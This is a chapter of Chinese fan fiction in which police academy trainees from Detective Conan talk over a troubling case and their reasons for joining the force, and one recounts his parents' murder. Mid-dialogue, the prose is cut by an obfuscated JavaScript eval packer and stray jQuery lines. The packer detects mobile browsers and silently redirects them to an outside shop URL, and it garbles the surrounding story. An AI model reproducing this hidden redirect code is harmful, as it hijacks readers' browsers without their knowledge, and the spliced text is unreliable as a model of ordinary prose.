6. 疯狂的警察学院·何为正义
    “这件事真的是——哎。”

    做完笔录的几人离开警局,终于吃上了最初念想的大餐,但在座的几人都是食之无味,之前案件里大野雅子生生泣血的控诉和大野优子沉寂的双眼在众人心中挥之不去。

    “你们说,我是做错了吗?”半响,路德维希才出声打破沉寂“揭露出最后赤裸裸的真相,用推理将她们逼上了绝路,我......”

    “就应该像是《东方快车谋杀案》里面的一样,让真相掩埋,对所有人都好?”

    他原来的世界法律如同一张废纸,之前的考场也没有法律的介入,因此对于这件事情他其实是最为在意的。

    他明明可以选择另一场结局,却因为在这个世界里突然冒出的身为警察的正义心选择了揭发。

    明明在此之前,他是隐约察觉到了真相的。

    “不能这样说路德维希同学。”降谷零猛灌了一大口啤酒压下心里的烦闷“我们是警察,不是推理小说中的侦探。不能因为任何一名犯人在我们手中逃脱。”

    “我明白路德维希同学的想法,我也很难受。”降谷零叹气“但是否判决有罪那是法官的事情,我们的职责就是抓住犯人,不能让任何犯人逃脱,对着这社会造成隐患。我们能做的只有快一点,再快一点,在造成更大悲剧前抓到凶手。”

    看着路德维希还是一副钻入死胡同的样子,降谷零揉了揉人自己的头发继续说道。

    “不要有负罪感,路德维希同学。就算当时路德维希同学你没有站出来说出真相,同样找到证据推理出来的我也会说出来的。

    因为我是警察,在开学典礼对着胸前樱花宣誓的那刻起,我就不会违背自己的职责。”

    说到这里降谷零笑笑“路德维希同学加入警校的原因不也是为了正义吗?”

    “所以说我才讨厌这个满身警察正义感的金发混蛋啊!”萩原研二及时镇压住某个卷毛的低声抗议,众人一同看向路德维希。

    今天这件事对在场的众人冲击都很大。尤其是站出来指出真相的路德维希,恐怕是他们几个之中心里最难受的那个。

    现在路德维希明显是走进了死胡同,如果不能走出来,让他对警察的职责和正义产生怀疑的话,对以后路德维希的警察生涯来说是致命的。

    加入警校的原因吗......路德维希咀嚼着这几个字,没有立即给出回复。

    在原世界,法律、正义、警察......这一切都在多年的战争中被毁于一旦,留下的只有饥饿、贫困和混乱。

    在那种情况下,他从来没想过成为一名警察,甚至说要不是遇到了某个家伙,他可能会陷入复仇的巨大漩涡,一步步堕落下去成为故事中的反派。

    而被突然拉入这个所谓的考场世界,想要在恶趣味的主神设立的考场游戏里找到所谓的正义那更是开玩笑——那些世界里压根没有警察的存在。

    都是他一次次从尸山血海中爬出来,在无数个轮回中坚持着一定要离开考场系统的信念挺过去的。

    讲到作为警察的正义,他甚至想要嗤笑。

    加入警校的原因归根到底只是系统要让他在警校“毕业”罢了。

    没有原因。他想把这句话说出口,却突然顿住了。

    他想到了被他留在原世界的那个小孩,那个在他即将堕落时突然出现拉着他的衣角叫着哥哥,渴望从他手中拿到一块黑面包的小孩。

    因为他,路德维希放弃追杀那个逃走的家伙,而是开始不断地养孩子。

    “大概是为了......”路德维希语气有些朦胧“创造一个让孩子不会哭泣的世界吧。”

    “创造一个孩子不会哭泣的世界吗?好伟大的理由啊。”荻原研二首先捧场“不像是某个混蛋为了打警视总监一拳就考了警校!”

    “喂喂喂,哪里幼稚了!”松田阵平抗议“要说的话某个家伙因为当警察就不会失业这个理由当警察那不是更幼稚!”

    “哈哈哈哈哈哈,没想到竟然是这个原因,哈哈哈哈哈哈,祝你成功。”降谷零捂着肚子笑得喘不过气来,不小心牵扯到脸上的伤口冷嘶一声。

    “那你呢零,不会是为了正义吧。还有,你这家伙不要笑的太过分了!”松田阵平威胁般的挥了挥拳头。

    “我嘛,是为了找一个女人。”降谷零想起艾莲娜医生,声音里带着一丝怀念。

    “哈哈哈哈,没想到竟然是为了找一个女人,没想到你这家伙这么轻浮。”松田阵平也笑了“就这样你还笑我,哈哈哈哈。”

    你们根本上半斤八两吧。路德维希默默吐槽。

    看着耍宝想要让气氛更活跃起来的几个家伙,路德维希没忍住扑哧一声笑了出来。

    这几个家伙呀......总之这样在一些奇怪的地方格外细心。

    “说起当警察嘛,当然是要让自己变得更强大啊。”伊达航挠了挠头发“只有让自己更强大,才能保护更多的人,才能不和父亲一样”

    “啊咧咧,那诸伏你呢?”看着伊达航语气有些不对,荻原研二贴心的立刻转移话题。

    “我吗......”诸伏景光张嘴想要说些什么,却突然瞳孔放大流露出十分惊恐的样子“没......没什么的。”

    “喂,诸伏!”松田阵平突然将脑袋隔着桌子探了过来“你到底要瞒到什么啊?是因为零那个家伙说让我们等到你自己愿意说出来,我们才一直等着你开口的。刚刚聊到加入警校的原因,你就想到了你父母被杀的案子了吧!”

    “你到底在顾忌着什么?我们几个不已经是朋友了吗,你到底要瞒着我们到什么时候啊你这个混蛋!”

    “小阵平——”萩原研二把松田阵平的脑袋拉回去向诸伏景光抱歉“抱歉啊诸伏,小阵平他刚刚喝多了,不要放在心上,我们继续喝酒,继续喝酒。”

    “萩,你不要拦着我!我今天就是要说。”松田阵平的脸红成一片,乱糟糟的头发依旧在荻原研二怀里拱来拱去想要出去,但是不得章法。

    “我们可是朋友诶!”松田阵平重申。

    “小阵平,朋友也不代表着要坦诚一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300022|152198||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    切。”坐在一旁的路德维希看不下去了,将乱糟糟的卷毛从荻原研二怀里解救出来从按回座位上。

    “朋友代表着分享彼此的喜悦,但并不意味着全盘托出毫无保留,每个人都有着自己的秘密。”回忆着记忆里曾经听过的话路德维希复述到。

    虽然他并没怎么体会过这种感觉,但复述一遍还是很容易的。他可不能让松田这家伙误入歧途。在他记忆里上一个喊着朋友就是要毫无保留的小鬼最后可是打出了团灭结局,他拦都拦不住。

    “那个案子必须由我亲自解决。”诸伏景光看着众人“抱歉,我不是不想说,但我不想看见任何一个人因此遇害。我不想连累任何一个人!”

    “怎么可能!”松田阵平大喊“今天的射击课,还有刚刚的案子,我们表现的不是很有默契吗?我们几个一起的话,根本没什么问题能难倒我们几个的嘛!”

    “说的没错!”伊达航。

    “hiro,你不是一个人。”降谷零。

    “我们会帮上忙的!”萩原研二。

    “虽然不知道是什么案件,但相信一定可以解决的!”路德维希。

    “你们......大家......”诸伏景光抹掉眼角的泪水,扬起一个笑脸“好吧,那就告诉你们吧。”

    “我心中的指针,早就定格在了十五年前的那个夜晚,那个笼罩着恐怖铁锈味的夜晚。”

    “那时我正在跟父母吃饭,大概晚上七点钟左右,一个男人敲响了我家大门。父亲出去开门和那个男人聊了起来,没多久我就听到了父亲的惨叫。

    母亲匆忙跑过来让我躲在壁橱里,随后和那个男人争执起来。没多久母亲的声音也消失了。屋子里弥漫着铁锈的味道,那个男人一直哼着‘别躲了,快出来吧’之类的话。”

    简直像是恐怖故事,不过对诸伏景光来说,的确是恐怖故事就是了。

    “不过这样的话,那个男人的目标就是hiro吗?他为什么要一直找hiro呢?”降谷零推理到。

    “不,不是在找我。”诸伏景光回忆道“她一直在叫这一个名字,一个经常和我一起玩的女孩子的名字。”

    “不过当时的我太过害怕,根本没有看到凶手的脸,只是从壁橱的缝隙里看到那个男人胳膊上有着一个类似高脚杯一样的纹身。”

    “然后呢?然后那个男人还干了什么?”正义感最强的伊达航发问。

    “我不记得了。”诸伏景光摇摇头“我很害怕,然后在壁橱里不知不觉睡着的。等我醒来的时候就看到哥哥回来,告诉我父母都已经遇害的事情。”

    “受那天的事情影响,我轻微失忆,还患上了失语症,从此与哥哥分开被寄养在东京的亲戚家,直到遇到零才慢慢好起来。”

    “最近一直做噩梦,但同时我也想起来一些线索,想要整理起来一起交给哥哥。”诸伏景光的头因为想起这件事还隐隐作痛“这就是我成为警察的理由。”

    “是这样啊。”路德维希思索着“说到高脚杯纹身,我今天倒是见到过一个。”